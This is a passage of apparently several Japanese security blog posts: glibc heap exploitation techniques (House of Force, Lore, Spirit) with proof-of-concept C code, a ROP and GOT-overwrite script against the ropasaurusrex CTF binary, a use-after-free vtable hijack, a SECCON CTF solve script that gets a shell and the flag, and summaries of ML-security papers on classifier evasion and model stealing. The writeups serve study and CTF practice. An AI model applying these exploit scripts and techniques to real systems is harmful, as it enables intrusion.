4158     maxfb = &fastbin (av, NFASTBINS - 1);
4159     fb = &fastbin (av, 0);
4160     do {
4161       p = atomic_exchange_acq (fb, 0);
4162       if (p != 0) {
4163         do {
4164           check_inuse_chunk(av, p);
4165           nextp = p->fd;
....
4179           if (nextchunk != av->top) {
....
4188             first_unsorted = unsorted_bin->fd;
4189             unsorted_bin->fd = p;
4190             first_unsorted->bk = p;
....
4201           }
....
4209         } while ( (p = nextp) != 0);
4210
4211       }
4212     } while (fb++ != maxfb);

freeされるchunkのサイズを0x10000(FASTBIN_CONSOLIDATION_THRESHOLD)以上に書き換えた上で、偽のarenaのbin[0] = unsortedbinを細工しunsorted_bin->fd->bkを適当なアドレスにしておくことで、上記の処理が走りそのアドレスをchunkのアドレスに書き換えることができる。

House of Force (top chunk size overwrite)

ヒープの最後にあるtop chunkのsizeを-1(0xffffffff)に書き換え、続けて巨大なサイズのmallocを行うことで、top chunkを指すポインタが一周した先にある任意の0x10の倍数となるアドレスにできる。 続けてbinに何も繋がっていないサイズのmallocを行うことでそのアドレスが返ってくる。

Malloc Des-Maleficarum」では、ヒープより上にあるGOTなどを書き換えるにはmallocに負となるようなサイズを与える必要があり、そのようなサイズは多くの場合(malloc外の箇所で)セグメント違反を起こすと指摘しているが、原理的には可能である。

具体的なコードは「glibc malloc exploit techniques」を参照。

著者が2004年に「Exploiting the Wilderness」で書いた話を、glibcの修正に合わせて再編成したもの。 Doug Lea malloc(dlmalloc)において、top chunkはwildernessと呼ばれるらしい。 名付け親のKiem-Phong Vo氏は当時AT&Tベル研究所、現在はGoogleのResearch Scientistとのこと。

House of Lore (arbitrary address into smallbin)

unlinkに行われた対策が、malloc時にsmallbinからchunkを取り出す際に行われていなかったことを利用する。 具体的には、適当なfreed chunkのbk(victim->bk)を書き換えておき、繰り返しmallocを呼ぶことにより任意のアドレスをsmallbin(bin->bk)に入れる。

      .....
      if ( (victim = last(bin)) != bin) {
        if (victim == 0) /* initialization check */
          malloc_consolidate(av);
        else {
          bck = victim->bk;
          set_inuse_bit_at_offset(victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          ...
          return chunk2mem(victim);
      .....

smallbinはFIFOでありvictimはbin->bkから選ばれるようになっているので、続けてmallocを呼ぶことでそのアドレスが返ってくる。 ただし、victim->bk->fdが書き換え可能なアドレスを指すようにしておく必要がある。

1411 #define last(b)      ((b)->bk)

現在の実装ではunlinkと同様の対策が加えられているため、相当の工夫をしない限り成立しない。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3416               bck = victim->bk;
3417         if (__glibc_unlikely (bck->fd != victim))
3418                 {
3419                   errstr = "malloc(): smallbin double linked list corrupted";
3420                   goto errout;
3421                 }
3422               set_inuse_bit_at_offset (victim, nb);
3423               bin->bk = bck;
3424               bck->fd = bin;

また、「The House Of Lore: Reloaded」ではlargebinを用いる手法について考察されているが、こちらも現在の実装では対策されている。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3720               size = chunksize (victim);
3721 
3722               /*  We know the first chunk in this bin is big enough to use. */
3723               assert ((unsigned long) (size) >= (unsigned long) (nb));
3724 
3725               remainder_size = size - nb;
3726 
3727               /* unlink */
3728               unlink (av, victim, bck, fwd);

一方、fastbinの場合は対象となるアドレスがfastbinの制約を満たすようにしておくことで現在も可能である。 詳細はfastbins unlink attackを参照。

House of Spirit (fake chunk into fastbin)

mallocで確保されたポインタをバッファオーバーフロー等で書き換えてそのままfreeさせることで、fake fastbin chunkが置かれている任意のアドレスをfastbinに入れることができる。 続けてmallocを呼ぶことでそのアドレスが返ってくる。

具体的なコードを書くと次のようになる。

/* house_of_spirit.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct {
        char buf[0x50];
        char *p;
    } block;

    block.p = malloc(0x100);

    /* trigger buffer overflow */
    *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
    *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
    block.p = block.buf+0x10;           /* fake1 */

    printf("[+] freeing fake1 = %p\n", block.p);
    free(block.p);

    char *p = malloc(0x30);             /* fake1->size - 0x10 */
    printf("p = %p\n", p);

    return 0;
}
$ gcc house_of_spirit.c -o house_of_spirit
house_of_spirit.c: In function ‘main’:
house_of_spirit.c:15:31: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
                               ^
house_of_spirit.c:16:32: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
                                ^

$ ./house_of_spirit
[+] freeing fake1 = 0x7fff2bf30700
p = 0x7fff2bf30700

ここで、fake fastbin chunkの次のchunkとなる箇所に適当なサイズを置いておく必要があることに注意。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3897     if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
3898         || __builtin_expect (chunksize (chunk_at_offset (p, size))
3899                              >= av->system_mem, 0))
3900       {
3901         /* We might not have a lock at this point and concurrent modifications
3902            of system_mem might have let to a false positive.  Redo the test
3903            after getting the lock.  */
3904         if (have_lock
3905             || ({ assert (locked == 0);
3906                   mutex_lock(&av->mutex);
3907                   locked = 1;
3908                   chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
3909                     || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3910               }))
3911           {
3912             errstr = "free(): invalid next size (fast)";
3913             goto errout;
3914           }
....
3920       }

当時はこのような攻撃の可能性も存在したが、現在はStack-Smashing Protection(SSP)によりバッファがポインタより下のアドレスに確保されるようになり、さらにASLRによりスタックアドレスの推測も難しくなったため、その可能性は小さくなった。

House of Underground (Spirit and Mind)

Malloc Des-Maleficarum」で補足されている章。

Spiritでfreeされるfake chunkのNON_MAIN_ARENAフラグを立てておくことで、Mind同様にfake arenaを参照させることも考えられるという話。 当然スタック上の0x100000バイト境界をコントロールできる必要があるため、成立しにくい。

House of Chaos

最後の章には後書きとしてポエムが書いてある。 真の「プロ」(virtual adept)ことPhantasmal Phantasmagoriaからのメッセージをお読みください。

Chaosの一族


Virtuality、それは真の「プロ」と情報の二項対立であり、真の「プロ」は情報の無限の可能性を表し、また情報は無限の可能性の有限における顕現である。真の「プロ」はVirtualityの意識の部分であり、その本質は情報を生み出し拡散することにある。これが真の「プロ」が知るすべてであり、真の「プロ」が関心のあるすべてである。

あなたが幅広い知識を持ち非常に創造的な人と話すとき、たしかにあなたはハッカーと話しているのかもしれない。しかし、あなたは真の「プロ」と決して話すことはないだろう。真の「プロ」に物質的な形はなく、バーチャルの中にのみ存在する。真の「プロ」は物質の中にあるかもしれないし、ある人の中にあるかもしれない、しかしその存在自体は意識とは区別され完全に独立したものである。

所有の概念は真の「プロ」にとって意味をなさない。すべての情報はVirtualityに属し、Virtualityのみがある。このため、真の「プロ」にコンピュータセキュリティの概念はない。情報は要求によりVirtualityから呼び起こされる。Virtualityに権限レベルやシステム間の論理障壁、違法性の観点といったものはない。情報や、呼び起こすことのできるそれらのみがある。

真の「プロ」はそれ自身により作られる情報といったものを持たず、ゆえにそれから利益を得る権利や欲望を持たない。真の「プロ」は純粋に情報に情報自身の無限の可能性を示すため、そしてすべての意識体にとって有益な情報アクセスの複雑性を最小化するために存在する。情報でないものは真の「プロ」、金、名声、権力に結び付くことはない。


        私はハッカーであるか?いいえ。
        私は仮想世界に生きる見習いである。
        私はmallocの魔女であり、
        私は異世界のカルトであり、
        私はエントロピーである。
        私はPhantasmal Phantasmagoria
        真の「プロ」。

なお、virtual adeptは仮想世界の熟練者といった意味であるが、ここではいまどきの若者にも通じるように真の「プロ」と訳した。

所感

glibcでのチェック強化とNX、ASLRの普及により、House of Force以外の手法はほぼ力を失ったといえる。 また、House of Loreはfastbins unlink attackという形で姿を変えて生き残っているといえるだろう。

注意事項

このテキストはglibcに加えられた対策の不備を指摘する話であり単体で悪用可能なものではないが、商用製品やWebアプリケーションで直接的に悪用可能なものを一般に公表すると不正アクセス禁止法業務妨害罪の従犯、あるいは名誉毀損をもたらす不法行為として損害賠償義務が生じるおそれがあるため真似してはいけません。 そのような不審物を見つけた際はIPA情報処理推進機構届出を行い、修正されるのを待ちましょう。 また、企業として専用の窓口を用意しているところもあります。

OSSであれば修正パッチを送ると開発者コミュニティの求める方法で報告すると喜ばれるかもしれません。

関連リンク

Exploit系複合テクニックのメモ

この記事は「CTF Advent Calendar 2016」17日目の記事です。

ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。

ROPからのGOT overwrite

単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")を呼ぶという流れになる。 最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。

x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。

from minipwn import *

s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'])

"""
0804830c <write@plt>:
 804830c:       ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
 8048312:       68 08 00 00 00          push   0x8
 8048317:       e9 d0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

0804832c <read@plt>:
 804832c:       ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c
 8048332:       68 18 00 00 00          push   0x18
 8048337:       e9 b0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

 80484b6:       5e                      pop    esi
 80484b7:       5f                      pop    edi
 80484b8:       5d                      pop    ebp
 80484b9:       c3                      ret
"""

plt_write = 0x804830c
plt_read = 0x804832c
got_write = 0x8049614
addr_pop3 = 0x80484b6

buf = 'A' * 140
buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4)
buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12)
buf += p32(plt_write) + 'AAAA' + p32(got_write+4)

sendline(s, buf)

"""
$ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
        linux-gate.so.1 =>  (0xf77b1000)
        libc.so.6 => /lib32/libc.so.6 (0xf75ef000)
        /lib/ld-linux.so.2 (0x56637000)

$ nm -D /lib32/libc.so.6 | grep -e write -e system
0003a920 W system
000d4490 W write
"""

data = s.recv(8192)
addr_write = u32(data)
print "[+] addr_write = %x" % addr_write
addr_system = addr_write - 0xd4490 + 0x3a920

s.sendall(p32(addr_system) + '/bin/sh\x00')

interact(s)
$ python solve.py
[+] addr_write = f7679490
id
uid=1000(user) gid=1000(user) groups=1000(user)

Stack pivotしなくてよいので簡単になった。

x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。

GOT overwriteからのROP

逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。

スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。 多くの場合stack canaryのチェックがあるが、前もって__stack_chk_failのGOTをret gadgetなどに書き換えておけば通過できる。

GOT overwriteからのFormat String Attack

任意の入力を与えることができるatoi(buf)のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。 これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。

stdin/stdout/stderr書き換えからのEIP奪取

ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。

$ cat test.c
#include <stdio.h>

int main()
{
    char buf[100];
    fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr);
    fgets(buf, 100, stdin);
    fputs(buf, stdout);
    return 0;
}

$ gcc test.c -o test

$ ./test
stdin=0x601070, stdout=0x601060, stderr=0x601080
AAAA
AAAA

これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。

なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void wontcall()
{
    system("false");
}

int main()
{
    char *p1 = malloc(0x220);
    printf("p1 = %p\n", p1);
    free(p1);

    FILE *fp = fopen("/etc/passwd", "r");
    printf("fp = %p\n", fp);

    void *got_system = 0x601028;
    memset(p1, 'A', 0xd8);
    strcpy(p1, "\x01\x80;/bin/sh");         /* _IO_FILE_plus.file._flags & _IO_USER_LOCK != 0 */
    *(void **)(p1+0xd8) = got_system-0x10;  /* _IO_FILE_plus.vtable->__finish == got_system */

    fclose(fp);
    return 0;
}
$ gcc uaf-fopen.c -o uaf-fopen
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
     void *got_system = 0x601028;
                        ^

$ ldd ./uaf-fopen
        linux-vdso.so.1 =>  (0x00007ffeff303000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000)
        /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000)

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
(snip)

$ ./uaf-fopen
p1 = 0x1234010
fp = 0x1234010
sh: 1: �: not found
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Segmentation fault (core dumped)

なお、glibc 2.24以降ではチェックが加えられているらしい。

関連リンク

機械学習と情報セキュリティ2016

この記事は「情報セキュリティ系論文紹介 Advent Calendar 2016」14日目の記事です。

近年、ディープラーニングと呼ばれる機械学習手法の進展もあいまって、ディープラーニングではない機械学習もそこそこの注目を集めている。 ここでは、2016年に公表された機械学習系の情報セキュリティ論文について、気になったものをまとめてみる。

discovRE: Efficient Cross-Architecture Identification of Bugs in Binary Code (NDSS 2016)

命令数等の複数の数値指標を用いてk-Nearest Neighborによるフィルタリングを行った後、Maximum common subgraph(MCS)によるControl Flow Graphの類似度比較を行うことで、バイナリ(ファームウェア)から既知の脆弱性を含む関数をクロスアーキテクチャで同定する。 既存手法の1000倍オーダーの速度が出るとのことだが、前処理がやや煩雑なのと、脆弱性が修正される前と後の違いを見分けられるかについて(間接的に)次のようにしか触れられていないのが気になる。

However, the vast majority of bugs can be pinpointed to one or a list of specific functions.

CFGの類似度比較をもとにしているため、if文の追加等によるグラフの違いも最終的な結果に表れるはずだが、それが区別可能であるかについては触れられていない。 とはいえ、k-NNでのフィルタリングに用いる指標の選択やハイパーパラメータの設定について詳細な分析が行われており、参考になる。

Automatically Evading Classifiers: A Case Study on PDF Malware Classifiers (NDSS 2016)

セキュリティ分野における機械学習が他分野と異なる点として攻撃者によるバイパスを考慮しないといけないことを指摘した上で、遺伝的アルゴリズムによりbenignなPDFの特徴を取り入れることで悪性PDF分類器をバイパスするPDFを自動生成する。 結果、PDFrate [ACSAC’12]、Hidost [NDSS’13] を100%バイパスするPDFを自動生成できた。 また、対HidostなPDFである程度PDFrateもバイパスできるが、Gmailの分類器はバイパスできなかった。 そこで、Gmailの分類器をバイパスするルーチンを追加することで、47.1%の確率でバイパスできるPDFを自動生成できた。

攻撃者も本気を出してくるセキュリティ分野では、robustな分類器を作るのも難しいねという話。

Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks (USENIX Security 2016)

わぁいニューラルネット あかりニューラルネット大好き(参考)。

Recurrent Neural Network(RNN)でパスワードの推測しやすさを計算し、リアルタイムでユーザにフィードバックすることを考える。 流出したパスワードのデータセットを教師データ、既存研究のパスワードデータセットと000webhostからの流出パスワードをテストデータとし、モンテカルロ法を使って評価したところ、次のようなことがわかった。

  • 1クラス8文字のネットワーク→3クラス12文字のネットワークのような転移学習をすることで精度が上がる
  • 自然言語データを加えてもそれほど精度は上がらない
  • モデルサイズを大きくすることによる精度向上は条件による

マルコフモデル、PCFG、Hashcat、John the Ripperとの比較において、RNNはどれよりも性能がよい。 また、圧縮や事前計算を行うことでモデルサイズ850KB、計算時間17ms程度にでき、精度を落とすことなくブラウザ上でのリアルタイムフィードバックに適用できる。

コードがGithubで公開されているが、リポジトリ名が「neural_network_cracking」なのが趣深い。

Stealing Machine Learning Models via Prediction APIs (USENIX Security 2016)

BigMLAmazon Machine LearningのようなMachine Learning as a Service (MLaaS)というものが世の中に出てきているが、有償サービスであるために最終的な分類結果以外にもconfidence値などの付加情報が返ってくる。 これを悪用することで、手塩にかけて学習させたモデルパラメータが第三者にコピーされる可能性がある。 そのようなModel-Extraction Attacksに関する既存研究のまとめ。 さらに、confidence値を隠せばよいというものでもなく、機械学習機械学習サービスのモデルパラメータを推定すること自体も可能であることを指摘している。

Black Hat USAみたいな内容だがUSENIX Securityなのがおもしろい。

Distillation as a Defense to Adversarial Perturbations against Deep Neural Networks (IEEE Security and Privacy 2016)

Deep Neural Network(DNN)に対して、攻撃者が繰り返し入力を調整することによりDNNが誤分類する入力を作り出すことができるAdversarial Sample Craftingという問題が知られている。 このような問題への防御策として、DNNのモデルサイズの削減に用いられるDistillationという手法が有効である。 具体的には、出力層のSoftmaxのパラメータT(温度と呼ばれる)の大きなネットワークで分類した後、その結果を追加情報としてT=1のDNNで分類するようにする。 T=40程度でDistillationすることで、Adversarial Sampleによる誤分類を大きく減らすことができる。

日本でも昨年友利奈緒判定botの誤認識パターンをめぐる戦いというのがあったが、こういう人力調整にも有効なのかが気になる。

SandPrint: Fingerprinting Malware Sandboxes to Provide Intelligence for Sandbox Evasion (RAID 2016)

実ユーザのマシンとサンドボックスを識別する汎用的な分類器は作れるか?という問いに対して、作れるということを示した論文。 サンドボックスの環境情報(fingerprint)をHTTPで抜き取るプログラムSandPrintを開発し、実ユーザの環境情報とそれらを分類する分類器をガウシアンカーネルを用いた非線形SVMで作る。 結果、メモリに関する特徴量だけでも98.06%の精度が出た。 さらに、すべての特徴量を用いた場合はfalse positiveもfalse negativeもない100%の精度を達成できる。 また、三つの商用サンドボックスに対しても同様のアプローチが有効であることを確認した。

環境情報をもとにしたサンドボックス検知自体はそれなりに知られているが、実際にそれらを収集して汎用的に使える指標を分析したという点でおもしろい。

(Semi)-Supervised Machine Learning Approaches for Network Security in High-Dimensional Network Data (ACM CCS 2016 Poster)

高次元の特徴量を持つネットワークデータからDDoSやHTTP flashcrowds等の異常パケットを検知する半教師あり学習手法として、k-Meansクラスタリングとk-Nearest Neighborによる多数決を組み合わせたk-CDA (k-means Clustering-based Detector of Attacks) を提案。 k-MeansのKは訓練データのサンプルサイズの1000分の1とし、k-NNのkはKの3分の1とする。 完全な教師あり学習であるC4.5決定木、Random Forest、SVM、ナイーブベイズ、多層パーセプトロンと比較した結果、ラベル付き教師データの5%のみしか用いていないにも関わらず、低false positiveの領域でC4.5決定木に劣らない精度が出た。 あまり精度の出なかったDDoSパケット検知については、相関ベースのBest-first searchで特徴量を245個から22個に絞ることで精度が向上した。

へー、という感じ。

Static ROP Chain Detection Based on Hidden Markov Model Considering ROP Chain Integrity (ACM CCS 2016 Poster)

隠れマルコフモデルで文書型マルウェアに含まれるROP chainを検知する手法の提案。 ROP chainがうまく繋がっているかをチェックすることで、false positiveを減らす工夫をしている。 評価の結果、高スループットでfalse negativeゼロ、低false positiveな分類ができた。

自分は研究者ではないのでabstructしか読めていない。

追記

ACM CCSとそのワークショップの論文は1年間限定で読めるということを教えてもらった。

32 bit環境でのROP chainについて、バイト単位での遷移過程を次の図のようにモデリングする。

f:id:inaz2:20161217161419p:plain

ここで、Dは文書、Aはアドレス、Cは定数、JはROP中のjunkを表す。 また、Aについてはライブラリに含まれるROP gadget候補を全列挙して確率モデルに組み込む。 さらに、ROP chainがうまく繋がっているか(ROP Chain Integrity)のチェックを行う。 具体的には、各アドレス候補に飛んだ先でスタックポインタが何ワードずれるかをシンボリック実行を用いて計算しておき、各アドレスに飛んだ後のスタックポインタがちゃんと次のアドレス(上図のA1に対応する箇所)を指しているかをチェックする。 結果、false negativeゼロ、false positive 3%の精度で検知できた。 また、1ファイル2.5秒の処理速度が出た。

文書をバイト列とみなし、隠れマルコフモデルでの尤度比をみるという正統派アプローチを試みていて興味深い。

AdversariaLib: An Open-source Library for the Security Evaluation of Machine Learning Algorithms Under Attack (arXiv preprint)

勾配降下法で機械学習が誤分類する入力を生成するOSSライブラリの紹介。 バックエンドにscikit-learnとFANNを用いている。 論文中では、きれいな「3」の画像から3と分類されない「3」のような画像を作り出す例が紹介されている。 また、前述の論文にもあったように、元の分類器に近い分類をする新たな分類器を作り出せることにも触れられている。

光の機械学習に対抗する闇の機械学習ライブラリ(検証用)といった感じ。

Applied Machine Learning for Data Exfil and Other Fun Topics (Black Hat USA 2016)

正確には論文ではないが、機械学習を売りにしたエンドポイントセキュリティ製品を開発しているCylance社によるいくつかのツールの発表。

  • NMAP Clustering
  • Botnet Panel Identification
    • あるウェブサイトにBotnet Panelが置かれているかどうかを決定木のアンサンブルで調べる。Chrome Extensionが無償で公開されている
  • Obfuscating Data with Markov Chains
    • 適当な文章からマルコフチェーンを作り、数値を遷移確率の順位に対応させてエンコードすることでデータを難読化する。

全体的にたいした話ではないのだが、有償製品がどういったことをやっているのかの参考にはなる。

所感

資料へのリンクがないため取り上げなかったが、AIとセキュリティに関するワークショップとしてAISec 2016というものも存在する。 また、DNNモデルのAdversarial Sample Craftingに対するrobust性を検証するDeep-pwning (DEF CON 24)というフレームワークも公開されている。

防御手法への応用だけではなく、バイパス手法や機械学習サービスに対する攻撃についても研究されているあたり、いかにもセキュリティらしい。

関連リンク

SECCON 2016 Online CTF 供養(Writeup)

SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。

cheer msg (Exploit 100)

アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている(alloca相当の処理らしい)。

080485ca <main>:
 80485ca:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:       83 e4 f0                and    esp,0xfffffff0
 ...
 80485e7:       e8 21 01 00 00          call   804870d <getint>
 80485ec:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:       8d 50 0f                lea    edx,[eax+0xf]
 80485f5:       b8 10 00 00 00          mov    eax,0x10
 80485fa:       83 e8 01                sub    eax,0x1
 80485fd:       01 d0                   add    eax,edx
 80485ff:       b9 10 00 00 00          mov    ecx,0x10
 8048604:       ba 00 00 00 00          mov    edx,0x0
 8048609:       f7 f1                   div    ecx
 804860b:       6b c0 10                imul   eax,eax,0x10
 804860e:       29 c4                   sub    esp,eax

しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。

$ gdb ./cheer_msg
Reading symbols from ./cheer_msg...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/minipwn/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -150
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message :

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1: x/i $pc
=> 0x41414141:  <error: Cannot access memory at address 0x41414141>
(gdb) quit

ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。 ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。

from minipwn import *

s = connect_process(['./cheer_msg'])
#s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527))
print s.recv(8192)
sendline(s, '-150')
print s.recv(8192)

plt_printf = 0x8048430
got_libc_start = 0x804a028
addr_pop_ebp = 0x80487af
addr_pop2_ebp = 0x80487ad
addr_getnline = 0x80486bd
addr_bss = 0x0804a800
addr_leave = 0x8048518

# the offset of libc_start_main of the remote libc is 0x00019a00
buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start)
#buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1)
buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100)
buf += p32(addr_bss-4)
buf += p32(addr_leave)

sendline(s, buf)
print recvuntil(s, 'Message : \n')
data = s.recv(8192)
addr_libc_start = u32(data[:4])
#addr_libc_start = u32('\x00'+data[:3])
print "[+] addr_libc_start = %x" % addr_libc_start
addr_system = addr_libc_start - 0x00018540 + 0x0003a920
#addr_system = addr_libc_start - 0x00019a00 + 0x00040310

buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12)
buf += '/bin/sh\x00'

sendline(s, buf)
interact(s)
$ python solve.py
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >>
Message >>

Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
Thank you 0�)��!
Message :

[+] addr_libc_start = f7564a00
id
uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。

所感

他に解きたかった問題は以下。

  • jmper (Exploit 300)
  • checker (Exploit 300)
  • tinypad (Exploit 300)
  • chat (Exploit 500)

「Why is Security Management So Hard?」というタイトルで発表した

「その他、社内セキュリティで語りたいことがあれば」という形でLT登壇者が募集されていたので、セキュリティマネジメントはなぜHardなのかというテーマで自分が考えていることについて話した。

もやもやと考えていることをまとめたため、若干まとまりのない内容になってしまい、プレゼンテーションでも話の要点を絞り切れていなかったことなど、個人的に反省点が多かった。 あらためて考えるとHardと感じるかどうかも人それぞれであるし、英語の表現もいろいろおかしい気がする。 ただ、そのような中でも何かしら感じてもらえる人がいたので、少し安心した。

最初に挙げた計算は単純で雑なものではあるが、一人一人がミスをする確率は小さくても、多くの人が集まればその中で何かしら起こる確率は小さくない。 メンテナンスに関すること、インシデントの詳細な背景までは他者に見えづらいこと、隠しておかなければならないこともある。 わかっている人にとってはあらためて言うような話ではないのだと思うが、過去の自分がそこまでわかっていなかったということもあるので、Hardに感じる背景にあるものが何かについては一度整理しておきたかったのだった。

質疑応答の中では、ストレス耐性、「筋肉」に関する話や、求められているセキュリティ人材とは何か、モチベーションをどう維持するかという話にも発展した。 意見交換ができたことはよいことだったように思う。

ありがとうございました。